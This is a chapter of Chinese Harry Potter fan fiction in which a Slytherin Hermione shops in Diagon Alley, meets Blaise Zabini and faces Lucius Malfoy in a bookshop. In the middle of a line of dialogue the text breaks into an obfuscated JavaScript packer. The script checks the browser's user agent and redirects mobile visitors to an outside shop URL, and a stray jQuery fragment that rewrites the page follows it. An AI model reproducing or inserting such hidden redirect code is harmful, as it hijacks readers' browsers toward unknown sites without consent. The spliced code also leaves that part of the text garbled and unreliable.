赫敏走出古灵阁时，正巧遇到了正被海格拽着走的哈利。
“哈利！”她快步跑上前，“你的眼镜怎么了？”
哈利浑身沾满了煤灰和蜘蛛网，眼镜也碎了。赫敏抽出魔杖，开始修理他的眼镜，并清理掉他衣服上的灰尘。
“谢谢你，赫敏，”哈利松了口气说，“呃……我们暑假期间不是不能使用魔法吗？”
“他们通常只能追踪施咒的区域，无法分辨是谁施的咒，”赫敏低着头心不在焉地说，“只要不被当场抓到，就没法证明是你干的。” 把哈利收拾妥当后，她后退一步，仰起头：“你好，海格。”
“嗨，赫敏，”海格咧嘴一笑，“你不是一个人来的吧？”
“嗯，我本来打算在这里和哈利还有韦斯莱一家碰面的，”赫敏避开了这个问题，“对了——哈利，你不是和韦斯莱一家一起来的吗？”
“我迷路了，”哈利皱着眉头说，“我们没坐地铁。那个壁炉太糟糕了——他们管它叫飞路粉——结果我误入了一条阴暗的小巷。我得找到韦斯莱一家——”
“你不用找多久的。”海格笑道。
哈利和赫敏环顾四周，看见罗恩、弗雷德、乔治和两个红发男人正从拥挤的街上快步跑来。
“哈利，”其中那个秃顶红发男人喘着粗气，如释重负地说，“我们猜你多过了一个炉门……”他擦了擦自己闪闪发亮的秃顶，“莫莉急疯了。她和金妮马上就到……”
“你从哪儿出来的？”罗恩问。
“翻倒巷。”海格神情严肃地说。
“太棒了！”弗雷德和乔治一齐叫了起来。
“我们从来没被允许进去过。”罗恩羡慕地说。
“我想最好别去。”海格粗声说。
“翻倒巷？”赫敏问道，“那是什么地方？”
“一条充斥着可疑事物的巷子。”弗雷德告诉她。
“有些东西，或许合法性存疑。”乔治补充道。
“——或者涉及道德问题——”
“那是黑暗的wizards购物的地方，”韦斯莱家的高个子男生厉声说道，“简直不成体统。我真不敢相信，我竟然和想去那里的人有血缘关系。”
赫敏转向说话的年纪比他们大的韦斯莱，歪了歪头。
“你是珀西吧？”她问道。
珀西挺直身体，低头看着她。
“没错，是我，”他对她说，“有什么事吗？”
“黑女巫们也会在翻倒巷购物吗？还是只有黑男巫才会？”她问他，“我需要知道这些。”
珀西一脸惊恐：“你不是认真的吧——”
“我只是好奇，”赫敏说着，眼睛闪闪发光，“我的意思是，‘wizards’这个词有性别指向，所以说不定——”
珀西怒视着她，哈利在一旁拼命憋笑。
“正派的男巫和女巫都不会去翻倒巷购物。”他冷冷地告诉她。
“谢谢，”赫敏礼貌地说，“看来在魔法世界里性别歧视也依然生机勃勃，很好。”
哈利剧烈咳嗽起来，努力掩饰自己的笑声。罗恩看起来既震惊又困惑，而双胞胎则在一旁肆无忌惮地嘲笑他们的哥哥。
“哦，哈利——！”
韦斯莱夫人急急地跑了过来，拉着韦斯莱家的小女孩一起。韦斯莱夫人开始翻来覆去检查哈利时，赫敏小心翼翼地后退了一步。哈利看起来对在别人面前这样感到相当尴尬。
海格与他们告别后，他们开始一起前往古灵阁，赫敏虽然刚刚才离开，但也跟着去了。
“你们猜我在博金博克商店看到了谁？”哈利问罗恩和赫敏，“马尔福和他父亲。”
“卢修斯·马尔福买什么东西了吗？”韦斯莱先生警惕问道。
“没有，他是在卖东西。”哈利回答道。
“看来他害怕了，”韦斯莱先生带着一丝得意说道，“哦，我真想抓到卢修斯·马尔福的把柄……”
韦斯莱夫人对此表示反对，两人争吵之际，哈利把赫敏拉得更近了。
“赫敏，我不想让其他人听到，”他压低声音告诉她，“他们提到了你。”
“提到了我？”赫敏眨了眨眼，“卢修斯·马尔福吗？”
“他和德拉科都，”哈利确认道，“卢修斯·马尔福讽刺了几句他儿子的成绩，里面提到了你。”
他们正在排队等候妖精，赫敏仔细地看了哈利一眼。
“他具体说了什么，哈利？”她问道。
哈利咬着嘴唇，有些尴尬。
“他在批评马尔福的成绩，”哈利说，“马尔福反驳说他是年级第二名，他爸爸就说，他以为马尔福会感到羞耻，因为一个‘非巫师家庭的女孩’每门考试都超过了他。”
赫敏翻了个白眼。
“不过马尔福反驳了，”哈利继续说道，声音压的更低了，“他说事情不是那样的——你是新血，还说他父亲不可能指望他和一个拥有魔法开的‘后门’的人竞争。”
赫敏不禁提起了兴趣。
“那马尔福先生对此作何回应？”她问道。
“马尔福先生说他这辈子都没听说过这种胡扯，”哈利承认道，“还说如果他儿子执意要继续对他撒谎，那就应该编个比‘一个自命不凡的麻瓜出身者捏造的疯子言论’更可信的说法。”
赫敏露出了一个冷冷的微笑。
“疯子言论？”她重复道，“我们走着瞧吧……”
队伍终于排完了，赫敏对如何坐小车去地下非常好奇，但如果算上她，人数就超过了载客限额。
“我们需要两辆小车，”韦斯莱夫人担忧地说，“或者，不，我们还是把一些孩子留在上面吧……”
“我想去！”金妮反对道，“这是我第一次坐小车！”
“韦斯莱夫人，我和赫敏可以一起下去。”哈利连忙说道，“我们马上就上来和你们会合。”
地下之旅令人兴奋不已，赫敏和哈利一起欢呼尖叫，仿佛在坐过山车一样。当他们到达哈利的金库时，赫敏大笑着跳下了车，哈利也紧跟着出来。
“太棒了！”赫敏惊叹道，“下次来古灵阁，我一定要去看看我自己的金库！”
虽然赫敏早有心理准备，但哈利的金库还真的是个“金库”，深埋在山体地下。这一切给人的感觉仍然显得那么不真实，而看到里面真的堆满了金币和各种金属后，更是加重了这种感觉。
“还好我们和韦斯莱一家是分开走的，”哈利一边把钱放进包里一边承认道，“我不知道韦斯莱一家有多少钱，但罗恩的表现……嗯……”
赫敏知道，德拉科也总是嘲笑韦斯莱家的贫穷，不难想象，哈利在让他们看到自己金库里琳琅满目的财物时该有多尴尬。
“这就是你继承的遗产？”赫敏打量着估算了一番，问道，“还不错，看起来是一笔不小的财富。”
“我很高兴这些钱足够我七年的学费了，”哈利说，“我实在无法想象向德思礼一家要钱买魔法课本……”
“哦！说到这个！”
等他们再次到达古灵阁一楼并走到外面后，赫敏把韦斯莱一家拉到路边，然后打开她的包，拿出装书的盒子。
“哈利提醒了我——我们都需要买魔法课本，对吧？”
“是啊，包括洛哈特的全套作品，”罗恩呻吟道，“别提了。”
“嗯，至少我有个办法可以解决那一部分，”她兴高采烈地说，“给。”
赫敏开始给每个人分发小盒子——哈利、罗恩、弗雷德、乔治、金妮和珀西各一份。
“这是什么？”哈利一边问一边打开了盖子。
“这些都是洛哈特的书，”赫敏告诉他们，“为了方便携带我把它们缩小了。哈利，罗恩，你们每人还有一本《标准咒语》二年级版。”
“哇哦，”哈利说，用手指抚摸着书脊，“这太棒了。谢谢你，赫敏！”
“你是怎么弄到这些的？”弗雷德盯着她问道。
“洛哈特的书可不便宜。”乔治补充道。
“是我自己做的，”赫敏骄傲地说，“我暑假在出版社实习，他们允许我自己做的书都可以带走。我就给每个人都做了一份。”
双胞胎瞪大了眼睛盯着她。
“是你做的？”弗雷德重复道。
“是的，”赫敏说，“那天我获准可以带走自己复印的所有书，然后我就复印了不少。”她抿了抿唇，担心地看向韦斯莱一家：“这么做不合适吗？我是把它们作为礼物送给大家的。我发现自己能做出这些书的时候太兴奋了……”
“赫敏，我想我能代表我们所有人说，我们只是被震住了。”珀西说着，挺直了身子，他郑重地看着她，“你为我们每人变出了价值70加隆的书。这真是令人叹为观止的魔法，也是极其慷慨的馈赠。相信我，我们都非常感激。”
“七十加隆？”罗恩重复道，眼睛瞪得大大的。
“洛哈特的书可不便宜。”弗雷德重复了一遍，他的眼睛也睁得大大的。
罗恩不由自主地露出了感动的神情。
“赫敏，你是我见过的最善良的坏人，”他宣布道，“我不在乎你是怎么把这些东西偷出来的，我只知道你真的偷出来了。金妮，如果你以后需要坏人的帮助，赫敏就是斯莱特林最好的人选，你听到了吗？”
“我没偷！”赫敏抗议道，“是我做的——！”
韦斯莱夫人的眼睛有些湿润。
“你真是太慷慨了。”她说着，轻轻拍了拍赫敏的头，这有点别扭，因为赫敏比韦斯莱夫人高，但她还是设法做到了。“赫敏，你太慷慨了。谢谢你。”
“不客气。”赫敏不自在地动了动。她这么做的初心并不是为了帮韦斯莱一家省钱——她只是想复制书本，然后在朋友面前炫耀一下。“我特别兴奋能复制这些书——其实这咒语挺难的呢。清单上的其他书你们还是得自己去买……”
“我肯定那不成问题，”韦斯莱夫人说，“两小时后我们在丽痕书店碰面，行吗？”
行程很快确定下来，哈利、罗恩和赫敏溜达着离开，开始逛起了对角巷。
“先去哪儿？”罗恩兴高采烈地问。他看起来心情好多了。赫敏猜想，是因为他现在有更多加隆可以花在自己想要的东西上了。至少，他难得对她态度这么好。
“我得去买新长袍。”赫敏遗憾地告诉他们，“我的旧长袍短了，我妈妈说我别穿着不合身的衣服到处走。”
哈利低头看了看自己的长袍，“嗯……其实我也该买了。”他皱了皱鼻子。
他们前往摩金夫人长袍店。哈利询问能否把袍边放下来改长，店主嗤笑了一声。
“没有边能拆了放下来，”她直截了当地说，“我从没听说过这么愚蠢的做法。可怜的孩子，你要是能在袍子里面看到边就怪了。”
她示意他们站到台子上，魔法测量卷尺开始四处飞舞。
“还好比尔和珀西都很高，”罗恩看着哈利和赫敏说，“我只要穿他们以前的就行了。不用每次都像这样——”他指了指周围飞舞的卷尺，“——应付这堆东西，只要长高了几英寸就得来一回。”
赫敏很惊讶：“可是，如果以后你的穿衣风格跟他们的不一样怎么办？”
罗恩瞪着她，哈利也转过头瞪她。赫敏缩了缩脖子。
“哦，对不起。”她说，“我忘了男生的校服。斯莱特林的男生很少穿标准的校服袍子。抱歉。当我没说。”
虽然摩金夫人不会拆缝边，但她确实会回收旧长袍换新。赫敏高兴地把自己最喜欢的绿色长袍交给她，换了一套按照新尺寸制作的同款长袍（以及付一些加隆弥补差价）。
“我能把所有旧长袍都寄给你吗？”赫敏恳求道，“你再按我的新尺寸做一套一模一样的寄回来？当然，差价我会承担。”
摩金夫人翻了个白眼，但还是同意了。“如果你非要这么做的话当然可以。”她顿了顿，上下打量着赫敏，“不过，你很快就得全部换新了，你很快就要穿更成熟的款式了。”
赫敏脸红了。她不喜欢被人提醒自己正在青春期发育这件事。
他们离开长袍店，在巷子里闲逛了一会儿，三个人一边吃着冰淇淋一边四处探索，最后才前往丽痕书店。路上许多人也在往书店走，当他们到达时，门口已经挤满了人，堵的水泄不通。赫敏呻吟一声，用手拍了拍脑门。
“我忘了——今天好像有个签售会之类的活动。维塔克先生提醒过我的……”
走近后，他们可以看到楼上的窗户挂着一幅巨大的横幅：
┄┄┄┄┄┄┄┄
吉德罗·洛哈特
将于今日12:30至4:30
亲笔签售自传《会魔法的我》
┄┄┄┄┄┄┄┄
令人不可思议的是，赫敏竟然笑了起来。
“当然是他了。”她自言自语道，“不知道有没有人会把所有课本也拿来都签上名？在这里排队肯定要耗上好几个小时。”
“我妈妈会的，”罗恩说，“她很喜欢洛哈特……”
赫敏、哈利和罗恩挤了进去。长长的队伍一直蜿蜒到书店最里面，赫敏打了退堂鼓。
“我想去看看别的书，”她对他们说，“反正我也没带我的课本。如果你们想去排队的话，我好像看到韦斯莱夫人在那里……？”
和男孩们分开后，赫敏爬上二楼，迅速开始探索书架。环顾四周，她感到一阵熟悉的兴奋感涌上心头。
这一次，她知道自己要找的是什么。
赫敏拿了两本看起来像是算术占卜和古代如尼文入门教材的书，然后直奔位于阴暗角落里的仪式魔法区。她正翻阅着《绘制魔法阵》，看看里面有没有什么新内容，这时她听到有人清了清嗓子。
“哎呀，真巧啊，格兰杰小姐，在这里见到你……”一个熟悉的声音轻声说道。
赫敏猛地抬起头：“布雷斯！”
她咧嘴一笑，差点想要扑上去，最后一刻才想起斯莱特林的学生一般不拥抱。从布雷斯脸上得意的坏笑来看，他看穿了她的想法，而他眼中闪烁的光芒也告诉她，他其实不介意来一个拥抱。
“仪式魔法？”布雷斯问道，挑起了眉，“你研究这个干什么？”
“说不定什么时候就能用上，”赫敏随口说，“我一直在读这方面的书。它很古老也很复杂，但有些仪式能发挥非常强大的作用，你知道的。”
布雷斯露出钦佩的表情。
“那要是你真的决定组建一个女巫团，记得算我一个。”他对她说，“别的不说，有你领导的话肯定会很有意思。”
他朝她眨了眨眼，赫敏笑了，接着突然顿住，目光捕捉到一抹熟悉的铂金色头发。
“布雷斯……那是马尔福先生吗？”
一个戴着巫师帽，手持一根长长的黑色手杖的高个金发男子站在楼梯顶端，边上是德拉科·马尔福。德拉科正倚着栏杆，对着楼下的热闹场面冷笑，而那个高个男人则在看书架上的书籍。
“就是他，”布雷斯压低声音说，“卢修斯·马尔福……”
赫敏仔细打量了一番。卢修斯·马尔福看起来就像个势利眼。他的鼻子微微上翘，一副居高临下的模样，隔着好几排都能看出他长袍和手杖的华贵。
“我要过去打个招呼。”赫敏宣布道。
布雷斯瞪大眼睛看了她一眼：“这明智吗？”
“大概不，”赫敏承认道，“但我还是要去。”
布雷斯叹了口气，但还是跟在她身后，一起穿过书架。
赫敏不急不慢地走近，她在书架间穿梭，绕到德拉科旁边，这样看起来并不像是她特意去找他，而是偶然碰上。不过德拉科大概也不会注意到——他正全神贯注地盯着楼下的场景。
“他们就像野兽在觅食一样，”赫敏评论道，走到他旁边，也倚在栏杆上，“陷入了一种疯狂的状态。”
德拉科猛地抬起头看向她，脸上绽开一个笑容。
“赫敏。”他打招呼道，片刻后，他的笑容淡了些，“扎比尼。”
“德拉科。”布雷斯愉快地回道，眼里闪着光。
德拉科和布雷斯对视了许久，两人的眼神都十分锐利。赫敏疑惑地看着他们，随后两人同时移开视线，看向楼下。
“真不敢相信竟然有人排着队等那个花花公子签名。”德拉科说。
“我可以理解，”布雷斯评论道，“队伍里大部分是女巫。你知道的，他长得非常英俊。”
赫敏嗤了一声：“自然。”
布雷斯斜睨了她一眼：“金发男人不是你的菜吗，赫敏？”
德拉科在她身旁僵住了。赫敏的目光始终注视着楼下的景象。
“骗子和傻瓜不是我的菜。”赫敏冷冷地说，“你读过他的书吗？都是些虚构的故事，却被包装成真事来吹嘘自己。我无法尊重这样的人。”
“我还没拿到课本呢，所以没看过，”布雷斯笑着说，“这正是我今天来这儿的目的。”
德拉科笑了，赫敏也笑了起来。
“好吧。”她说。
他们注视着人群，一个摄影师在给洛哈特拍照，每按一次快门都会喷出一大团烟雾。赫敏好奇他的相机里到底装了什么。
左侧的动静让赫敏转头看去，发现德拉科已经不再看着楼下了——他正看着她。
“你今天很漂亮，赫敏。”他说。
赫敏立刻警觉起来：“谢谢……？”
“我喜欢你的徽章，”他指了指她的胸前，“它和你的长袍很搭。”
哦……
“我喜欢戴着它，”赫敏轻声承认道，“我喜欢展现我对斯莱特林的骄傲，而且它很漂亮。”
德拉科的眼睛亮了起来，闪闪发光。赫敏看着他，心中充满疑惑。她暗自琢磨着，在纯血统的习俗里，如果一个女孩在公共场合佩戴男孩送的“非珠宝”配饰意味着什么？那不是真正意义上的珠宝首饰，所以显然含义不一样，但即使是“非珠宝”配饰，似乎也蕴含着某种意义……
“德拉科。”
一道尖锐而威严的声音从左边传来。德拉科身体猛地一僵，三个斯莱特林学生一齐转过身去。
赫敏保持着平静带点愉悦的表情。她看着卢修斯的目光扫过他们。德拉科走到父亲身边，转过身面对他们，他脸上刻意挂着淡漠的神情，但眼神里透着担忧。
“扎比尼先生。”卢修斯说，朝布雷斯点了点头。
“马尔福先生。”布雷斯深深地点了下头，几乎算是鞠了一躬。他向前迈了一步，小心地在她身侧摆出一副随意的姿态。赫敏很感激他这种无声的支持——他站在她身侧，这暗示她与他地位平等，或者暗示他是她的陪同者。无论哪种，都是一种含蓄的社交表态，她确信老马尔福立刻就能领会。
卢修斯的目光落在赫敏身上，仔细地端详着她。赫敏突然庆幸自己先前在服装店把那件短了的长袍换成了更合身的——现在她身上的一切都让卢修斯无可挑剔。
“德拉科。”卢修斯突然严厉地开口。
德拉科的目光飞快地转向他的父亲：“怎么了？”
“你还没给我们介绍呢。”赫敏语气轻快地说，脸上没有丝毫紧张的神色。她的眼睛始终没有离开老马尔福的脸。
德拉科犹豫了一下。
“父亲，这位是赫敏·格兰杰，我的同学。”他做了个手势，“赫敏，这位是我父亲，卢修斯·马尔福。”
“很高兴见到您，马尔福先生。”赫敏穿着长袍，尽可能地向他行了一个最优雅的屈膝礼。卢修斯挑了挑眉。
“幸会。”他慢条斯理地说，嘴角勾起一丝笑意，“格兰杰，是吗？”
“是的。”赫敏确认道。
“你和达格沃斯-格兰杰家族有关系吗？”他问。
“没有，先生。”赫敏毫不迟疑地说，“我是我家族的第一代。”
卢修斯狠狠地瞪了儿子一眼，赫敏可以看出德拉科强忍着不让自己缩脖子。
“赫敏是新血，父亲，”德拉科低声说道，“我之前跟您提起过她。”
卢修斯看了她一眼，然后目光又回到德拉科身上。
“你忘了说她是斯莱特林的。”他说，声音带着一种令人发寒的冰冷，德拉科畏缩了一下。赫敏感觉皮肤上一阵寒意。
“我说了她是我同学。”德拉科反驳道。
“所有一年级生都是你的同学。”卢修斯冷冷地告诉儿子。德拉科再次畏缩了一下，但还是点了点头。
赫敏看着卢修斯转过身来，目光仔细地审视着她。
“我……很惊讶， ”卢修斯·马尔福说着，嘴角勾起一丝冷笑，“竟然有一个麻瓜出身的学生被分到了斯莱特林。”
“也许是因为我是新血吧。”赫敏说，语气平静而礼貌。
卢修斯挑了挑眉，居高临下地看着她。
“新血？”他问，语气里透着厌恶。
“一种受命运眷顾自发涌现的魔法血统，”布雷斯突然开口，赫敏对他的介入感到惊讶，但也无比感激。“赫敏不像一些麻瓜出身的巫师那样魔法来自祖上的哑炮。她命中注定要成就一番
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17671756|202970||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
伟业，并创立一个新的家族。”
“每个伟大的家族最初都是由新血创立的。”德拉科补充道。
“根本没有这种事。”卢修斯·马尔福缓缓地、一字一顿说道，语气冰冷而轻蔑。
赫敏甜甜地笑了笑：“坎坦克鲁斯·诺特会不同意你的看法。”
卢修斯的目光突然锐利起来。
“他真这么说？”他拉长语调问道。
赫敏嘴角浮现出一抹神秘的微笑。她不会直接向他辩护自己的地位——这种戏剧化的做法不是斯莱特林的风格。她需要展现出对自己在魔法世界地位的不容置疑的自信。她不会让马尔福先生动摇她的信念。
“我想，”卢修斯·马尔福最终慢慢说道，“我们拭目以待。”
这话听起来含糊不清且充满不祥的意味。赫敏暗暗在心里记下，以后一定要格外小心所有经过马尔福家族人手的东西——她不知道如果自己碰了什么会诅咒非纯血统的东西会发生什么。
下方传来一声呐喊，人群爆发出热烈的掌声。他们都转头看向楼下。赫敏的目光被吸引到前面，她看到哈利正站在洛哈特旁边，一个摄影师在记录这一刻。
即使隔着这么远，赫敏也能看到哈利的脸因为尴尬而涨得通红。
“女士们，先生们，”洛哈特大声说道，同时挥手示意大家安静，“这是多么不同寻常的一刻！我要借这个绝妙的场合宣布一件小小的消息，这件事我已经压了有些日子。”
赫敏注意到德拉科正皱着眉头往下看，然后沿着楼梯溜走了。他的父亲也跟在他身后，两人都悄无声息地走下楼。她一边留意着洛哈特，一边警惕地观察着他们。
“——我非常荣幸地宣布，今年九月，我将就任霍格沃茨魔法学校黑魔法防御术课教师一职！”
人群爆发出热烈的掌声和欢呼，赫敏倒吸一口凉气，惊恐地看向布雷斯。
“他不可能是认真的，”她说，“不可能。他是个骗子。”
“你觉得有多少人知道这一点？”布雷斯问道，他瞥了一眼人群，“看起来不多。”
赫敏呻吟一声，抓住自己的头发揪了揪。
“我们今年什么也学不到了，”她哀叹道，“绝对什么也学不到。”
“不过我敢打赌，我们能学到很多如何摆姿势和对着镜头微笑的绝佳技巧。”布雷斯打趣道，这让赫敏勉强挤出一个笑容。
“是啊，好极了，我要摆个造型，用我迷人的微笑分散黑魔法生物的注意力，打败他们，”赫敏说，“这真是个绝妙的主意。”
“会没事的，赫敏。”布雷斯说，他看着她，“我相信你自学也能很好地掌握课程内容。而且还能帮助我们其他人也掌握。”
“可是，黑魔法防御术并没有固定的课程大纲啊，”赫敏反驳道，“我根本没有可以参考的指导。”
“那岂不是说你可以自己编写？”布雷斯指出，眨了眨眼，“我敢说，那不是更好？”
赫敏想了想，然后笑了：“我……这么说倒也是。”
她和布雷斯走到楼梯口，却看到德拉科正巧撞上了哈利——哈利一有机会就从洛哈特身边逃开了，两人正怒视着对方，金妮也在狠狠地瞪着德拉科。
“波特，你交了个女朋友啊！ ”德拉科拉长声音说，罗恩奋力挤到哈利和金妮身边。
“哦，是你啊，”罗恩说着，打量着德拉科，仿佛看到了鞋底上什么恶心的东西，“我猜你肯定没想到哈利会在这里吧，嗯？”
赫敏完全不明白罗恩为什么会觉得德拉科没想到。
“看到你出现在书店里，可比看到波特在这里更让我惊讶，韦斯莱，”德拉科回敬道，“我猜你父母得饿上一个月才能付得起你所有的课本费吧。”
罗恩的脸涨得通红。赫敏觉得不能怪他：她私下里觉得这句反击比罗恩的话术要高明得多。罗恩朝德拉科冲去，但哈利一把拽住了他的外套后摆。
“罗恩！”韦斯莱先生走了过来，弗雷德和乔治跟在他身后，“你在干什么？这里太挤了，我们出去吧。”
“哎呀呀——亚瑟·韦斯莱。”
赫敏看到马尔福先生走到德拉科身边，对韦斯莱一家露出讥笑。
“卢修斯。”韦斯莱先生冷冷地说。
“听说魔法部最近很忙啊，”马尔福先生说，“又是突击又是搜查……希望他们给你付了加班费吧？”
他从金妮的坩埚里抽出一本二手的《初学变形指南》，这本书看起来破旧不堪，赫敏不禁对可怜的金妮心生怜悯，金妮的脸因为尴尬而涨得通红。
“看来并没有……”马尔福先生拉长声音说。
“那边到底怎么回事？”赫敏低声问布雷斯，“我知道德拉科和罗恩互相厌恶，但他们的父母也这样吗？”
布雷斯耸了耸肩，也在看着这一幕。
“或许是因为韦斯莱一家被视为纯血叛徒？”他猜测道，“不过，这看上去更像是私人恩怨。我猜可能有什么古老的世仇。”
一声尖叫传来，赫敏的目光猛地转回去，只见韦斯莱先生朝马尔福先生扑了过去，把他撞到书架上，几十本沉重的魔法书轰然落下，砸在他们身上。有人在为他欢呼，有人在尖叫，人群在往四周散去，一个店员挣扎着朝他们走去，恳求他们停下来。
“梅林啊，”赫敏低声说，看着眼前的一切，“他真的……？”
“格兰芬多就这样，”布雷斯说，他厌恶地皱了皱鼻子，“一点风度和含蓄都没有。”
赫敏不得不承认他的说法没错。在书店里打架……？简直太野蛮了。
他们看着海格把两个人拉开。两人看起来都受了点伤。马尔福先生把金妮的书塞回给她，临走前还尖刻地说了句什么，然后和德拉科一起大步离开了书店。
“你不该理他的，亚瑟。”海格说。赫敏看着韦斯莱夫人把孩子们聚拢起来，匆匆忙忙地把他们带出了门。
“等等！”哈利惊呼道，“我们把赫敏忘了！”
“我相信她肯定没事的。”赫敏听到罗恩不以为然地回答，但她很高兴地看到哈利奋力挤过人群又回到屋内，目光四处搜寻。
赫敏走下楼梯：“哈利。”
哈利望向她，松了一口气：“赫敏！”
“你没事吧？”她上下打量着他问道，“我看到刚刚在打架。”
“嗯，我没事，”哈利说，“主要是韦斯莱先生和马尔福先生在打。不过罗恩当时很想揍马尔福一顿。”
“我们看出来了。”赫敏回头看了一眼正在她身后走下楼梯的布雷斯。哈利跟着看向他，然后疑惑地看着赫敏。赫敏脑子飞快地转着。
“啊……哈利，这位是布雷斯·扎比尼，我在斯莱特林的同学，”她对他说，“布雷斯，这位是哈利·波特。”
“哈利·波特？是本人吗？”布雷斯慢吞吞地问道，他瞥了一眼哈利的伤疤，“我本来还真没认出来。”
赫敏瞪了他一眼：“别装傻。”
“你是赫敏的朋友？”哈利看起来很谨慎，“我以为她在斯莱特林没什么朋友呢。”
布雷斯突然变得戒备起来：“有些斯莱特林的学生可能会因为血统而看不起赫敏，但我们这一届已经没有了。”
“除了潘西。”赫敏皱了皱鼻子。
布雷斯不情愿地点了点头，承认了她的话：“除了潘西。”
“那霸凌的事呢？”哈利皱着眉头问。
布雷斯锐利地看向赫敏：“霸凌？”
赫敏努力保持面无表情。
“潘西他们欺负她的事，”哈利说，赫敏瞪了他一眼，哈利顿了顿，“赫敏告诉我们情况很糟糕，”他语气更加谨慎地继续说道，赫敏松了口气，庆幸他没有食言，没有提起折磨的那部分，“我以为她在斯莱特林没有朋友——如果有的话，我想他们应该会阻止的。”
“赫敏告诉你情况很糟糕？”布雷斯仔细地问，“还是赫敏告诉了你发生了什么，然后你觉得那很糟糕？”
哈利皱起了眉头。赫敏怀疑他是否完全理解了布雷斯问题中的微妙之处。
“赫敏说情况很糟糕，”哈利强调道，“她没说具体发生了什么，但她说那很糟糕。她开始更多地和我们待在一起。她想避开斯莱特林公共休息室。”
赫敏用力咬着嘴唇。布雷斯的眼睛斜斜地看向她。
“我之前不知道赫敏除了被一些无知粗鲁的斯莱特林言语嘲讽之外，还遭受过其他形式的欺凌，”布雷斯最后说道，“但我把赫敏视为我的朋友。”
“你会保护她吗？”哈利带着挑衅的语气问道。
“哈利！”赫敏反对道，“我不需要——”
“你会吗？”哈利再次问道，完全无视了赫敏。他的目光紧紧盯着布雷斯：“如果再发生这种事，你会保护她吗？你会制止吗？”
这句话沉重地悬在空气中，赫敏不禁皱起了眉头。她知道，哈利根本不知道自己问题的意味，正式询问一位纯血统巫师某人是否被他们保护……
“我会的。”
赫敏张大了嘴，目光转向布雷斯，但他目不转睛地坚定看着哈利。
“我会向她提供我的保护，我也绝不会故意伤害她。”
正式的措辞在空气中产生了魔法的振荡。赫敏感到她的脑子有些混乱，思绪万千，而哈利看起来有些困惑。
“那……那很好，”哈利最终开口说道，他伸出手，“赫敏的朋友就是我的朋友。”
赫敏惊讶地看着布雷斯仔细端详了哈利许久，然后咧嘴笑了。
“很高兴认识你，波特。”他说，握住他的手用力地摇了摇，“那么，我们是朋友了。”
他们松开了手。哈利看起来很满意，而布雷斯则带着一抹暗含趣味的笑意。
“哈利！”
韦斯莱先生正站在门口催促地挥手，越过人群望着这边。哈利顿了顿。
“我得走了。学校见，赫敏？”他匆匆说，“再见！”
“再见，哈利！”她在他身后喊道，看着哈利挤过人群，消失在视野中。
“所以……”
赫敏瞥了一眼布雷斯，他正用一种缓慢而意味深长的目光看着她。
“你父母预计你什么时候回去？”布雷斯友好地问道。
赫敏耸了耸肩：“天黑之前？”
“太好了。”布雷斯说，“陪我走走？我还有些东西要买。”他看了她一眼，“而且我们有很多话要谈谈。”
布雷斯郑重的承诺词仍在赫敏耳边回响，她审视了他一眼。
“我想我们确实有。”